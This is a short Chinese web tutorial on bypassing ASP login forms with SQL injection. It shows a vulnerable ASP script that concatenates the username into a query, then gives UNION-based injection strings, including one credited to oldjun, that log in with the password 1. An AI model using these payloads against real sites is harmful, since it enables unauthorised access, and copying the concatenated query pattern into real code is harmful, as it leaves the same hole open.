ASP注入万能登陆密码
程序代码
<%
username=trim(Request.Form("username"))
password=trim(Request.Form("password"))
sql="Select * FROM admin Where user='"&username&"'"
Set rs=Server.CreateObject("adodb.recordset")
rs.Open sql,conn,1,1
if rs.eof then
checksysUser=FALSE
else
passwd=trim(rs("pwd"))
if passwd=password then
Session("admin")=username
checksysUser=TRUE
else
checksysUser=FALSE
end if
End if
rs.close
conn.close
if checksysUser=true then
Response.Redirect("main.asp")
else
errmsg="<font color=#FF0000><b>用户名输入有误,请重新输入!</b></font>"
end if
%>
先在数据库中查询用户名对应的密码,然后再和用户输入的密码对比,导致'or'='or'这样的万能登陆密码失效。
但如果在上面的程序中,用户名输入 程序代码
' UNION Select 1,1,1 FROM admin Where ''='
,密码输入1,就可以登陆成功,原理很简单,就不多说了。
顺便附上oldjun的语句:
程序代码
' UNION Select 1,1,1 AS pwd FROM admin Where ''='
版权声明:本站文章来源标注为YINGSOO的内容版权均为本站所有,欢迎引用、转载,请保持原文完整并注明来源及原文链接。禁止复制或仿造本网站,禁止在非www.yingsoo.com所属的服务器上建立镜像,否则将依法追究法律责任。本站部分内容来源于网友推荐、互联网收集整理而来,仅供学习参考,不代表本站立场,如有内容涉嫌侵权,请联系alex-e#qq.com处理。